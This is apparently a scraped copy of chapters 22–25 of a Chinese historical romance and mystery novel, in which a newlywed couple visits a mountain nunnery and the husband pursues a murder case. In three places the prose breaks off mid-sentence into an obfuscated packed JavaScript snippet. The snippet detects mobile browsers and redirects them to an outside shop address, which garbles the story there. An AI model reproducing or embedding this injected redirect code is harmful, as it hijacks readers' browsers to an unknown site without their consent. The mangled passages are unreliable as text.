半晌，几名身着便服的护卫引着裕王从楼里出来。茶楼的后门外便通着玉带河，河边小码头上正停着一艘画舫，应当便是来接裕王殿下的。 裕王转身朝身后抱怨：“今日胜负未分，可得记上，难得和你对弈有赢面。” 房遂宁未置可否，徐徐走到郑薜萝身边。 郑薜萝屈膝垂眸：“扰了王爷兴致，臣妇罪过。” “无妨无妨！你们新婚燕尔，可以理解 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073788|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ！” 裕王被簇拥着走向码头，上甲板之前，又折回身来：“哎，我一个人回去太无聊了！船上还有好酒，你们夫妻俩不如一起，喝完稍带送你们回去！” 郑薜萝不说话，看向房遂宁。 房遂宁看一眼码头停靠的船，眼底闪过一丝莫名的情绪。 “不了，难得夫人亲自来接我，我陪她走走。” 裕王愣了愣，看向并肩而立的两个人，笑容登时古怪：“是了是了，唉，是我不解风情了……那就下回、下回！哈哈哈……” 目送裕王一行人登上画舫。房遂宁转回身来，朝她伸出手。 “走吧。” 郑薜萝下意识回头。此时熊坤早已没了踪影，且微始终跟在她身后，见姑爷竟然真有心情要和主子携手散步，便和一同前来的小厮默默退去一旁。 她转回头，视线落在房遂宁宽袖下筋骨如玉的手，抬眼，只见他似乎等得有些不耐烦。 “夫君请先。” 房遂宁收回手，迈开长腿走在前面。 春夜的堤岸，空气中有草木初萌的味道，玉带河面上不时飘来阵阵歌声。 郑薜萝落后几步，静静观赏一旁的河景，忽发现裕王的坐船就在河道上，与他们保持着同样的行进速度。 她低低笑了一声。 “你笑什么？”房遂宁停了脚步，转回头来。 “裕王殿下看来是真的很怕一个人了。你方才不必拒绝殿下，我可以自己回去的。” 房遂宁哼了一声：“不是母亲叫你来寻我？” “来过了，也寻过了，不就可以交差了么。”郑薜萝漫不经心的口气。 “倘若君姑知道你是和殿下在一起，也不必担心了——你们不是常在一处玩么？” 房遂宁看着她，挑眉：“你在闺中时，也常和宁安公主一起出门玩？” 二人对视，彼此心照不宣。访仙阙的那一夜他们都认出了彼此，都知道对方心中的自己恐怕是什么货色，却都懒得解释。 丝竹之声悠扬传入耳中，郑薜萝转开视线，打量裕王的画舫：“这船开得这么慢，应当就是在等你呢。” 仿佛是听到了她的话，画舫的花窗忽然推开，裕王一脸促狭地笑：　“你小子真有情调啊，和娘子漫步河岸，却一前一后，跟陌路人似的，有什么的？不好意思啊？” 房遂宁脚步一顿，郑薜萝尚未反应过来，已经被他抓起手朝堤岸走去。 “哎！这才对嘛——有什么不好意思的是不是……” 身后，裕王的调笑声渐渐远了。 二人沿着一条小路走了一会，房遂宁将郑薜萝的手松开。前方豁然开朗，灯亮之处，已到了平康坊的牌楼下。 “你们先走。”房遂宁站定。 泊舟将马牵了过来：“夫人，宵禁了，我们替您开道。” 郑薜萝淡淡扫一眼不远处。熊坤已经重新出现，正静候一旁，显然已经跟了一路。 他的人这么晚过来找他，或许便是为了那个和父亲有关的案子。房遂宁表面上在休沐，实际从未停止调查。而她被裴夫人大半夜喊过来，也不过替他掩饰。 连裕王都成了他的幌子，何况自己。 “夫君自去忙吧。我会和母亲解释。”郑薜萝放下车帘。 房遂宁目送马车远去，眸光幽沉。 22. 第 22 章 妙璇庵在城西山中，因要当日来回，天未亮时马车便已在循园门口整装待发。 郑薜萝登车时，正遇到秦嬷嬷从房府的方向过来。如今她已经习惯房府对循园紧密的关注，原地站定了，向秦嬷嬷问了声好。 “听说娘子昨夜去寻少郎君时，遇到了裕王殿下？” “是。” 秦嬷嬷打量郑薜萝神色，语气委婉：“裕王殿下是个好热闹的，总爱拉着少郎君出门，还望娘子不要介意。” “怎会，”郑薜萝微笑道，“裕王为人亲和，十分有趣。” “那就好。虽然已经入了春，山里早晚还是凉，娘子还是披厚一些。” “多谢嬷嬷提醒。” 秦嬷嬷与郑薜萝说着话，视线却越过她往前面马上的人瞟。郑薜萝略一颔首，便先上了车。 主仆二人在车中坐了半晌，依旧没有要出发的迹象。 且微无聊，挑起了车厢门帘。 窗外，秦嬷嬷仰着头，正和坐在马上的人交待着什么。房遂宁信手扯着缰绳，身体微向前倾，偶尔点头，嘴唇始终抿成一条线。 郑薜萝知道他这副神情代表什么——典型的不耐烦。 “等等吧。不用着急。” 且微依言放下车帘。郑薜萝已闭上眼开始养神。 过一会，车帘从外面掀开了。 “郎君？”且微愣了愣。 “你去后面车上坐。”郑薜萝吩咐且微，自己挪让到车厢一侧。 鞭声砸落，车马缓缓移动起来。 房遂宁上车后，并未落座在中间主座，而是直接坐在了车厢另一侧，与郑薜萝正面相对。 他今日穿一件月白色的圆领袍，玉带束腰，整个人少了锐气，颇有几分惫懒。 马车内空间并不逼仄，奈何他腿长，衣袍摩挲间，支起的膝盖偶尔会碰到对面的人，他皱着眉腾挪。 虽然二人私下约法三章，但在长辈的压力下，还是不得不做出恩爱情状。方才秦嬷嬷定是施加了压力，让他不要和妻子一道出行还一车一马，显得生分。 郑薜萝掀眉打量房遂宁，他已经半闭上眼，似乎在闭目养神。 莫名有几分憋屈感。 … 进山后，他们先去了房氏宗祠，拜祭完已过晌午，在斋堂用了便饭，便启程往妙璇庵去。 暮春时节，连日阴雨，山道不免泥泞，空气都是潮湿的。 马蹄在山道上时而打滑，郑薜萝坐在颠簸的车中，只觉胃里翻腾，拿帕子掩住口。 房遂宁扬声：“还有多久？” “郎君，前面就快了。” 郑薜萝实在憋闷，揭开帘往外望。 车行于绿树浓荫之中，目之所及是丛生的灌木，除了车轮轧过高低不平的石阶路的声音，便只有啾啾鸟鸣，在枝头发出高低不同的音调。 “停一下。”房遂宁出声。 车应声停了下来。 郑薜萝一手掩着胸口，掀帘下车。走到牵着马的泊舟面前，转过头看向车内，房遂宁坐着没动，正看着她。 “这山道曲折颠簸，坐车不如骑马。” 房遂宁扬了扬眉：“你会骑马？” “能骑。” 房遂宁看一眼泊舟，后者将缰绳递给郑薜萝。 郑薜萝翻身上马——房遂宁的坐骑对她而言高大了些，泊舟替她调整好脚蹬，她道了声谢，夹了下马腹。 气闷感总算缓解，她深深呼吸，放眼向山下望。 目之所及，层层叠叠的翠色笼罩下，是怪石嶙峋的山脉，如巨兽的脚趾。 “这山是……” “麟趾山。”男人的声音从身后响起。 房遂宁见她骑马姿态还算娴熟，不知何时也从车上下来，换了马骑，一直默默跟在她后面。 郑薜萝转过头，视线落定在山道尽头。山岚雾气之中，露出寺庙翘起的飞檐一角。 “那便是妙璇庵？” 房遂宁顺着她的视线看过去：“是。” 妙璇庵被山林包裹，里面却是别有洞天。二人在庵前下马，一前一后跨进山门。 经过一座石桥，便是日字格局的正院，高大庄严的寺宇建筑之间，坐落着两方莲池，以石栏围砌，池中莲花半开，幽香阵阵。 已经过了早课的时辰，寺院里可见身着黄色法袍的女尼穿梭而过。殿外搭着高高的木架，正有弟子攀爬其上，将色彩鲜明的经幡悬挂于横梁之上。 郑薜萝走进正院。院子中央摆着一尊九尺余高的宝鼎，雕镂仙人仙山、异兽禽鸟。香烟缭绕中，四扇高大的殿门敞开着，低垂的帐幔后架着一台木梯，隐约可见梯子后面的巨型菩萨像，脚踏莲花，自在而坐。 她在两根合抱粗的立柱间驻足，仰起头看高处的菩萨。 高高的梯子上，一名工匠手里捏着狼毫，那狼毫的笔尖蘸的却非墨汁，而是金帛。只见那工匠从托盘中蘸取一片，沿着菩萨衣裳的褶皱，细致地贴塑。整座菩萨像金身已然快要完成，在无数莲花灯的映照下金光熠熠，璀璨耀眼。 “为迎接佛诞日，东宫太子妃娘娘特地向庵中供奉的菩萨捐献金身，这份虔诚，实在令人赞叹。” 郑薜萝转身，一位气质端雅的比丘尼立于身后，仰望着殿内的观音。 那比丘尼一袭沉香色绢丝法袍，宽边的襟口与袖缘绣着暗色宝相花缠枝纹，腰间系带上的扣饰是一枚羊脂白玉环，虽无繁复雕饰，品相温润倒也隐隐透着贵重。 光看外貌，很难判断出这女尼的年纪。郑薜萝突然生出一种不合时宜的感觉，此人仿佛是山中修炼多年的仙姑，还是精怪之类的。 那比丘尼一双美目不着痕迹地扫过郑薜萝一身装束，竖起手掌，含笑道：“贫尼弗争，是本庵住持。” “原来是住持，失礼了。”郑薜萝回过神，恭敬回礼。 “贵人今日是独自一人来祈福？” 郑薜萝这才发现此时只剩下自己一人。房遂宁不知去了哪里。 弗争亦不多问，道：“这几日阖寺上下都在为佛诞作准备，难免有些杂乱，贵人留神着些，莫让不相干的人冲撞了。” 郑薜萝点点头：“多谢住持提醒。” “那么，我就不打扰贵人雅兴，您自便。” 弗争说罢，微一颔首，径自往内院去了。 郑薜萝迈出正殿，沿着寺院的中轴线，走到院落尽头的矮墙下，忽闻到一股浓浓的药香味。 她推开一扇半掩着的木门，迈出院子。抬眼便见不远处靠山根下有一片田地，被画成一畦畦的方格，有身着法袍的比丘尼手持药锄，在田间耕作。 郑薜萝放眼望去，药圃规模不小，在深山之中能经营起这么一片药田，可谓难得。 她信步穿过药田，时而站定，分辨脚边栽种的作物，大略分辨出是白芍、益母草之类。 她沿着田埂默默走着，被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081771|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这宁静的山间田耕景象吸引了全部注意力。更远处山脚下，有一块区域以篷布遮挡着。 逐渐靠近那片篷布遮盖的药田时，才发现这里四周被荆棘围住了——大约是什么珍奇名贵的药材，怕被山中野兽踩踏设置的保护。 她正这么想着，隐隐闻到一股刺鼻味道，正在疑惑是什么药草，身后突然响起人声。 “施主这是要去哪里？” 郑薜萝吓了一跳，转身只见一位农妇打扮的女尼，腰间插着一把割草的短刀，窄袖麻布短衣，裤脚紧束，只脚上一双沾着泥的芒鞋，表明她出家人的身份。 “我见贵寺这药田规模不小，只是随意走走。” 那玄衣女尼容貌甚是普通，一双眼睛却出奇地亮。被她锐利的目光盯视，郑薜萝莫名有些不舒服。 “我失礼了，师太恕罪。” 她说着，便预备原路返回。那女尼亦不阻拦，任她错身而过。 “敝寺的药圃是方圆百里规模最大的，麟趾山中钟灵毓秀，不少罕见难培育的药材，我们这里都有。” 那女尼突然自她身后开口，“——这一片，便是移栽自西域的珍稀药材。” 郑薜萝脚步微顿，礼貌回应：“原来如此。贵寺的药材，也会出售给周边的药材铺么？” 女尼看着她道：“更多的还是施给无力看诊买药的百姓。” “贵寺功德无量。” “众生皆苦，尽己所能罢了。敝寺也会定期向妇女提供千金科义诊，每月初三——义诊的场所就设在院外。” 二人说着话，一前一后步出药田。郑薜萝随着那女尼站定，停在一片依山而建的木屋前。 “这邸店，也是贵寺的资产么？” 她打量着眼前的四五间屋子，此处与妙璇庵仅有一墙之隔。 “这不是邸店，”女尼摇了摇头，“这是敝寺的善堂。” “……善堂?” 郑薜萝望向门口，有个比丘尼扶着一个包裹着头巾的妇人从里面出来。那妇人面色惨白，嘴唇几无血色。 门口竹帘低垂，有痛楚的呻吟声隐约传出。 她站在原地，面色微变。那声音如同一把铁钏，将她的胃紧紧勒住。 “三界红尘，女子活在世上，苦难比男人更多。这处善堂，旨在为无路可投的女子，搭建一庇护之所……” 女尼语气悲悯，转过身来，目光停在郑薜萝苍白的面孔上。 “施主，你怎么了？” “我……” 郑薜萝如被夺了魂一般，僵立在原地。 女尼突然一把抓住她手臂：“施主，你没事吧？” 郑薜萝一惊。那女尼关切地靠上前来，她能看清她粗糙的皮肤上细密的孔隙，一张脸因为凑得太近几近扭曲。 ”施主怎么脸色这么难看？” “要不要随我进去休息一下？” “你怎么了，怎么不说话？” 她每问一句，抓着她的手力道便收紧一分。她死死盯着郑薜萝，忽而诡异地笑起来。 “施主，我看你十分面善，你是不是来过——” 郑薜萝呼吸骤停，骇然说不出话来。 “夫人。” 紧抓住她的手松了开来。 房遂宁站在不远处一株杏花树下，皱眉看着她们。 “找了你一圈，怎么跑这里来了。” 郑薜萝怔了怔，提步朝他飞奔过去。 23. 第 23 章 “这里太大了，我迷路了……你刚才去哪儿了？” 房遂宁还没见过郑薜萝这副模样：气息不稳，神色惊惶，如同受了惊的兔子，几乎是一瞬间便跑到了他面前。 善堂外栽种着几株杏花正在盛放，枝头一簇簇嫩粉色的云朵，细小花瓣被风吹拂，有几片落在郑薜萝肩上，而她浑然未觉。 他视线垂落，郑薜萝的手正紧紧抓着他的胳膊。她反应过来，松开了抓着他的手，只是身体依旧紧紧贴着他。 房遂宁抬眼，不远处那女尼正打量着他们，神色莫测。 “娘子没事吧？” “内子胆小，让师太见笑。” 房遂宁说着，重新牵起郑薜萝的手。她的手小小的，凉得像一块冰滑进掌心。 他略镇静心神，道，“贵庵地形复杂，也不怪她走丢。今日我才知，你们居然还有这一处善堂？” “敝寺虽处红尘之外，却也置身世俗之中，唯愿能度一切苦厄。”那女尼身后响起一道柔和声音。 住持弗争自善堂内掀帘而出，经过那玄衣女尼时脚步一停，声色微冷。 “去忙你的吧。” 那女尼没有应声，只最后看了郑薜萝一眼，便转身入了偏门。 说话间，又有妇人被比丘尼搀扶着从善堂里出来，往正院的方向去。 郑薜萝的目光跟着那两人缓缓移动，弗争淡淡看着，解释的口吻：“这位施主误服了药，到这里时已经奄奄一息，险些一尸两命，被弟子救回来的。” “一尸……两命？” 郑薜萝面色微变。 弗争叹一口气，看向那远去的女子背影：“刚刚定亲便发觉自己有孕，未来夫家行事豪横，她担心未婚夫为难娘家，瞒着家人吞了过量的红花……” 这样的事情民间偶有发生，房遂宁见怪不怪，他只觉握着的掌心在出汗，微觉异样，扫了郑薜萝一眼。 她蹙着眉，不知在想什么。 弗争的声音就在耳边，郑薜萝只听得嗡嗡的响，犹如被罩进一口大钟，一个字都没听进去。 “——这也是本庵设置善堂的初衷：前来投奔的，大多是身怀难言之隐的弱女子，庵中不会查问身份，也无须过所，不收诊金，来去亦是自如。善堂设在院外，对百姓不设限，这样的做法也曾遭到质疑、” 房遂宁听到这里，哼笑一声：“贵寺声名在外，香火隆旺，又有人加持背书，谁敢质疑？” 弗争丝毫未因他这样的口吻而感冒犯，双手合十道：“大人通达世理，自然能明白敝寺的苦衷。” “住持认得我？”房遂宁眸色登时锐利起来。 弗争笑了笑：“大人虽不曾来过，但裴夫人是敝寺的常客，替大人在菩萨面前供过莲花灯，言语间也曾提到过……方才贫尼还猜测，或许大人是贪看山景，这才没有同贵人一起进院，果然不错。” 郑薜萝这才意识到，从她一进院，弗争就认出了她的身份——没有唤她“施主”，而是直称“贵人”。 转念一想，妙璇庵在京中颇有名望，住持定然也见多了出身豪门的贵妇，从他们服饰排场认出是房家的人，倒也不足为奇。 房遂宁看向善堂方向，眉眼微眯：“只要登门有求，贵寺都是来者不拒？岂不是会叨扰佛前清净？” 弗争缓缓道：“大人所言，也正是贫尼当初之虑，所以才将善堂设在了院外。” “看来，贵寺当真是在践行‘众生平等’呢。” 房遂宁笑了笑，背着手转过身，目光越过矮墙，看向正院的方向。 弗争在他身后，敛眸道：“大人或许不知，来这里的女子，也并非全是寻常百姓，有时亦会遇到处境为难，身份隐秘的贵人。” 刑部下设的通政院，其职能便是管理全境关津稽查、驿站通行等事务。妙璇庵并非宗庙祠堂，也非官府衙门，所行实则是擦着大祈律法的边缘，不勘验身份便接纳客人。 弗争当着房遂宁这个刑部职官的面，却神色坦然直言不讳。 二人均未留意，郑薜萝面色发白僵在原地，宽袖下的手攥紧。 出逃麟趾山那夜，她从那神秘山院中跑出来，正是夜半深沉。浑身疲乏，加上大脑一片混沌，不知该往何处去。下山的路中，正好遇上一处“邸店”…… 原来根本不是什么邸店，而是妙璇庵的善堂。难怪她刚才上山时，莫名觉得来时路有些熟悉。 郑薜萝心中一团乱麻，肩头突然一沉。 房遂宁伸手将她揽进臂弯，语气轻松：“今日某只是陪内子前来祭拜，并非查案，这些家宅后院的不堪秘辛，住持也不用对我细讲。” 弗争神色微松，微笑道：“大人洞悉世情，自然也不用贫尼多说。” 房遂宁挑了挑眉，垂眸看着臂弯里神思恍惚的人：“我不过晚了几步，夫人就撇下我先 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“不错，最初的衣裙、装饰细节处，有什么特点？”房遂宁语气颇为认真，“如今观音像已经塑成金身，看不出原本的样子——你可还记得？” 郑薜萝摇了摇头：“不记得了。你问这么作甚么？” 房遂宁不说话，她便也无心追问。 马车沿着下山的路缓缓而行，已经是日落时分，夜鸮发出空灵的叫声，在山谷里荡起回音，听得人阵阵心慌。 “我到的时候，你与那个女尼在说什么？”房遂宁突然道。 郑薜萝抬起头来。 摇晃的车厢里，对面的人面目模糊，眉眼间隐隐一股森冷之气。 “没说什么，你不是都听到了？说善堂收留百姓的事……” 她声音很低，膝头的裙面被无意识地攥在手心里，皱成一团。 “来人。” 房遂宁突然出声，吓了郑薜萝一跳。 窗外立时便有人应：“郎君有何吩咐？” “去查，二月十五宵禁前的出城记录。 “是。” 马蹄声朝着另一个方向去了。 郑薜萝松开紧攥的手，手心已经湿透。 24. 第 24 章 大理寺地处义宁坊北街，与紫宸宫只有一巷之隔，高耸的宫墙楼宇将大理寺常年覆盖在阴影之下，官员每日上衙时，只需数数宫墙内的跑马楼飞翘的屋檐倒影落在院里第几块砖，便可知道准确的时辰。 今日十五，逢朔望之日，各衙门旬休，大理寺的院子里除了值守的兵丁，没什么人影。 “我们大人在里面等二位，这边请。” “有劳了。” 一行人脚步如风穿过内院甬道。引路的衙差在一处紧闭的屋门前站定，轻敲了两下门，缓缓将门推开，让到一边。 “房大人请进。” 房遂宁抿着唇，迈步进门。 顾亭时从桌案后站起身来，朝着面前的椅子一伸手：“请坐。” 一边对门口的衙差道，“没事了，你先去吧。” 待房门阖上，他便开门见山地问：“看得如何？” “感谢大人，收缴的证物我们都已看过。”熊坤站在房遂宁身后，叉了叉手。 “不必客气，此案的大多数线索都是贵部前期搜查所得，大理寺无意贪功。” 顾亭时面色严肃了几分，又问，“尸体也已检查过了？” 熊坤点头：“仵作也确认了，夜来确实死于二月十五前后。与我们的推测相符。” 顾亭时看向对面，房遂宁自进屋后便一言未发。 “房大人今日来，应当是为了这个，” 他将面前一张画着圈的供状推了过去，“卢序槐已经释放，他的供词和所有证据都能对得上——夜来之死，和他没有直接关系。” “这一点，我想房大人也已经侧面确认过了。” 房遂宁拿起面前的供状，一目十行地看过，神色未变。 “这桩案子之所以会移交至大理寺，不仅仅因为区区一个国子监祭酒。房大人心中的存疑，上面实则都清楚。” 顾亭时起身，从一旁的架子上取下另一份文书捧到案前。三人目光汇聚处，装订成册的文书封面上写着：江南恶钱案。 房遂宁眸光倏然紧缩。 顾亭时取出档案最后夹着的一片，与卢序槐的供状并排放在面前。 “恶钱案和夜来案有所牵涉，也被一并移交大理寺。为免影响重臣声誉，引朝野动荡，恶钱案的处理更需谨慎低调——此案也已于前几日结案，枢密使郑大人的供词便在这里。” 房遂宁将视线从郑远持的供词上收回，掀眉看向对面。 顾亭时双手交叠：“虽然大人无权查阅，但供词的内容，某可以告知。” 他语气严肃，“大理寺审天下奏案，详谳疑狱，若案情重大，则需与刑部、御史台三司会审，案件迟早也会呈递刑部，某没有必要遮掩。” 房遂宁不紧不慢地开口：“顾少卿应当清楚，就算恶钱案交回刑部，也不会再落到我的手上。缘何特意将此案的细节告于我知？” 顾亭时眸光微闪。 他并不认为房遂宁会为了区区一个鸣珂曲的歌伎而如此执着，细究不过是因为她和卢序槐有关。 而卢序槐，则与郑远持有关。 自从他接手夜来案后，便发现房遂宁对凡涉及郑氏的有关一切都采取了近乎严苛的调查手段。刑部曾通过三司侧面调查卢序槐，包括案件发生后，卢序槐与郑远持过从甚密的线索。 如今房遂宁已是郑家的女婿，要遵从回避的原则。可他对郑远持的怀疑，似乎不会就此作罢。 传闻中圣人指婚郑房两家，是为了弥合左膀右臂之间的矛盾。现在看来，这矛盾并未就此化解。 他没有正面回答房遂宁，翻开面前的文书，当着他的面念道：“据刑部提供线索：‘二月十五晚宵禁前，刑部官差在罗甸街遇到一辆马车，郑侍郎正在其中，与其同行者还有张绍鼎’。” 他抬头看着房遂宁，“——经核实，郑大人系从户部衙门离开回府，并无其他异常行动。除了人证，还有户部的出勤记录为凭。” 房遂宁神色淡漠：“这并不能说明……” “房大人。” 房遂宁抱起手臂，仰头看着突然站起身的顾亭时。 “怎么？” 顾亭时的语气听上去有些激动：“大人精于刑名，素有官声在外，我相信大人人品贵重，所谓传言定然不足取信。然而此一案中，你始终刻意针对郑氏，难道真如世人所说，系因郑房两家门阀有别，是党同伐异之举？” “顾亭时，你可知你在说什么？”房遂宁眉眼倏然变冷。 熊坤见上官如此神情，登时头皮发麻，出声打圆场：“顾少卿，我们大人不是这个意——” “顾大人又是出于何立场，专程要向某证明枢密使大人的清白？” 房遂宁的声音陡然扬起，熊坤被迫住嘴。 顾亭时一时哑然。 “顾大人，我们今日来，是发现了有关夜来一案的其他证据。” “什么证据？” 熊坤迟疑了一下，见房遂宁并无阻拦之意，方继续道：“我们推测夜来之死在二月十五，盖因当晚还发生一事……” 顾亭时听完熊坤所述，眉头紧皱。 “……所以，二月十五那日，房大人在城外遇到了可疑人士？” 他看向房遂宁，急问，“那人什么样子？身高、体型，有无什么特征？” 房遂宁坐在原位，冷冷睨着顾亭时：“总之，应当不会是枢密使大人。顾少卿可以放心。” 顾亭时面色一滞。 “……方才在下关心则乱，口不择言，望大人恕罪。” “怎敢，还要多谢少卿大人的关心。” 房遂宁冷然道：“疑犯身份暂且未明，当晚情形特殊，我也未曾看清他的样子。但有证据表明，夜来之死，和妙璇庵有关系。” “何出此言？” 熊坤从袖中取出一叠大开张的绢纸，平铺于案上。 顾亭时疑惑：“这是……？” “这是我们从工部档案库里调出的，载淳九年，工部都城所奉旨敕建妙璇庵的图纸。” 熊坤将那叠图纸翻开至某一张，顾亭时定睛细看，上面画的是一尊水月观音像的详图。 图纸年份已久，散发着一股淡淡的霉味。当年的工匠画得细致，观音像的尺寸比例详尽清晰，考虑到年久褪色的可能，图像下方还有文字描述衣饰、颜色等细节。 顾亭时的视线停在那观音像上，眉心微皱。 “你也发现了，是么？” 房遂宁伸手，细长的手指落定在图上某处。 “设计这尊佛像的画师曾远游关外，是以这菩萨的造型带有浓烈的西域风格，衣饰繁复华丽，用色鲜明大胆，遍览关内寺庵，找不出第二尊同样的。十年前，为迎接观音诞，妙璇庵曾经历过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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泊舟回头，见来人是一名房府家丁，看样子已经在此等了一会儿。那家丁快步上前，从袖中摸出一枚信封，高举着呈到房遂宁面前。 房遂宁看了他一眼，伸手接过信封：“谁送的？” “禀少郎君，是秦嬷嬷。” 他皱眉看着那信封，没有拆开的兴趣——恐怕又是劝他安心待在家里，不要在婚假期间出去惹事的。 “有什么话不好回去说，非要追到这里，这么大费周章？” 家丁小心回道：“具体小的不知，只是嬷嬷交代，此信需得趁少郎君在外时交给您，不可让少夫人知晓。” 泊舟听这话古怪，不禁朝那信封上瞥了两眼。是什么事要背着夫人么？ 房遂宁撕开信封，里面的内容似乎很简单——他只是看了两眼便读完了。 秦嬷嬷的信上字迹潦草，就一句话：今日晚间偶遇吴妈妈从西市济世堂出，行踪诡异，因问药铺掌柜，得知其购入乃红花、牛膝二物。 此二味，性峻而利下，实为堕.胎之药。 裴夫人以为儿媳阳奉阴违，有了孩子却不要，作下孽来，一时心焦如焚，遣了人快马加鞭来问房遂宁。 “主子，是家里出什么事了？” 房遂宁缓缓放下信纸，没有说话。 他眉眼间的冷冽如寒风过境，缓缓将信纸对折、再对折，而后将那纸一下下撕成粉碎。 纸片被踏入泥土，马儿长嘶一声，飞驰而去。 25. 第 25 章 平康坊内，悠扬的曲乐逐渐响起，招徕着忙碌了一天的人们。 访仙阙老板娘红萼穿一身鲜艳的襦裙，半倚在门边，正和一个挑着扁担的卖花郎闲话。她言语间眉飞色舞，忽瞥见道上纵马而过的人，嘴角勾起咂摸的笑意。 房遂宁未着官服，平日里森冷的气场便淡了许多，薄唇紧抿，勒缰的手背青筋凸起，莫名有几分说不出的魅力。 果然男人，一旦跻身人夫，就是会不一样。 红萼不加顾忌的目光紧紧随着房遂宁，一手推开旁边嬉笑着凑上来的客人，扬声道：“房大人，不进来坐坐么？蔡大人今日正好也在呢……” 房遂宁眉眼阴沉，仿若没听见一般。 红萼朝着旁边人挤了挤眼睛，拿腔怪调：“哎哟，倒是我忘了，房大人新婚不久，天色不早，是不能在外面闲逛，否则怕是夫人会生气呢……” 马儿被勒停，马上人居高临下地睨向红萼，目光冷冽。 红萼被他看着，忍不住一个哆嗦，缩了缩肩膀。 “主子，咱们不回府么？” “着什么急。” 房遂宁翻身下马，一边将缰绳递给泊舟，迈进酒楼大门。 红萼朝泊舟挑眉一笑：“就是啊，大人这么辛苦，松快松快再回，着什么急？”说罢也跟在后面进去了。 二楼包厢里，气氛正热闹。 蔡溪架着一条腿，手里捏着一双银筷子，正伴着乐曲声敲着案上的酒杯，摇头晃脑不亦乐乎。 包厢门被推开，门外的人冷着脸朝里走。 “房兄？！” 蔡溪盯着身边落座的人，动作夸张地揉了揉眼睛，“我还说呢，我这酒也还没喝几杯啊，没看错？真是你！” 房遂宁厌烦地摆了摆手：“都出去。” 蔡溪见状，朝着房间里的一众妓子摆了摆手，嬉笑道：“你们都先出去吧，房大人新婚不如我自由，叫媳妇知道他来这里喝花酒不好，我陪他就行啦，是不是？哈哈哈……” 待门阖上，他凑到房遂宁面前，道：“家里有如花似玉的妻子等着，今日怎么有心思来这儿？” 房遂宁面色阴沉，屈指敲了敲桌面。 蔡溪见气氛不对，替他倒上茶，又问：“你们这是从哪儿来？” 他看向后面，泊舟摇了摇头。 房遂宁将杯子里的茶泼了，拎起蔡溪面前的琉璃酒盏，褐色琼浆注入酒盏，一杯斟满。 “你等会儿，” 蔡溪从来不曾见过他主动要酒来喝，上下扫视着房遂宁，似乎要辨别他到底是不是个假冒的。 “兄弟你这、这出什么事了？——泊舟，你主子到底怎么回事？” 泊舟亦是一头雾水：“我真的不知，今日主子先去了趟大理寺——” 不等他说完，蔡溪两道眉毛高高地抬了起来，一副不用多解释的表情。 “行了，不用说了，我懂！” 他松开盖在房遂宁酒杯上的手，端起自己的酒杯，“叮”一声碰上他的。 “喝！兄弟，老弟陪你！” “你说说你，成婚前嘴硬说不在乎，现在却按捺不住去找那顾亭时，你这不是、这不是自降身份么？” 房遂宁冷冷睨他一眼：“你在说什么胡话。” “胡话？？” 蔡溪一脸“你还跟我装什么装”的表情，“——不就是情敌相见，分外眼红？我懂的！虽然他顾亭时是你岳父大人亲手挑中的郞婿人选，但到底不是没有得手么？无论如何，如今你房遂宁才是名正言顺的郑家女婿，哎呀，没有必要和那小子一般计较的嘛！” 说着，用力拍了拍房遂宁的肩膀。 “蔡大人，我们主子去大理寺是为了公务。”泊舟忍不住出声。 “公务？”蔡溪一愣，看向房遂宁，“你不是休婚假么，还心心念念着案情不放呢！嗨哟，我还以为房大人成了婚，好歹要转性了呢——” “什么叫‘亲手挑中的郞婿人选’？”房遂宁冷冷道。 蔡溪意识到方才话说得有点多，连忙找补：“都是些坊间传言，我也是听一乐，你也别当真……来来来，喝酒，喝酒……” “什么乐，让我也听听。” “嘿嘿……”蔡溪干笑两声，“算了算了，你不是一向不爱听这些家长里短的么。” “我今日就想听些家长里短，” 房遂宁也跟着笑起来，眉眼间却是戾气丛生。 “讲。” 蔡溪的笑容有些挤不出来了，对着这副面孔的房阎罗，便是再会诡辩的犯人，也不免要被审出个一二三，今日恐怕是糊弄不过去。 “哎呀，就是、就是我那老上司，如今的枢密使郑大人，他和兵部顾尚书，当年他们二人是前后脚入京为官，顾存胥征拜兵部尚书，比郑远持要先进六部，两家关系匪浅——这些事，你不是也知道的嘛！” 房遂宁却不说话，依旧盯视着他。 蔡溪硬着头皮继续，“去年末，我幺妹降生，家中办百日酒，郑、顾两家的夫人都去了，席上夫人们谈起家里的孩子，说到顾家的儿郎成器，武将家门出了个进士及第，将来要被女儿家抢破头，顾家夫人只是一昧不接话，只与郑家夫人窃窃私语……” “所以，有不少人都在传，顾郑两家其实早就达成了默契，等顾亭时通过关试，实授了官职后，和郑家的婚事估计也就快了……” 房遂宁捏着杯子的手下意识收紧。 蔡溪啧了啧嘴：“顾存胥早年征战在外，功勋累身，这些年来朝廷重武轻文，兵部尚书可是不少养女儿的人家向往的门第。郑薜萝倘若真的嫁给那顾亭时，郑大人也算收获一个知根知底，文武双全的女婿……” 他瞥一眼房遂宁，嬉笑着道：“那顾亭时不说别的，人家脾气至少比你好得多，对吧？” 